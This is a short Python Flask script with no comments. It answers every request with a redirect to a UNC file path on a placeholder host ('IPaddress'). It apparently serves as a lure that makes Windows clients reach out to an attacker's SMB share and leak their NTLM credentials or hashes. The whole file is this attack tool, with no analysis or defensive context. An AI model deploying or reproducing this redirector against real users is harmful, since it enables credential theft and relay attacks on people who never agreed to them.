from flask import Flask, make_response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def redirect_to_unc(path):
    unc_path = r'\\\\IPaddress\\test.docx'

    response = make_response('', 302)
    response.headers['Location'] = unc_path
    return response

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)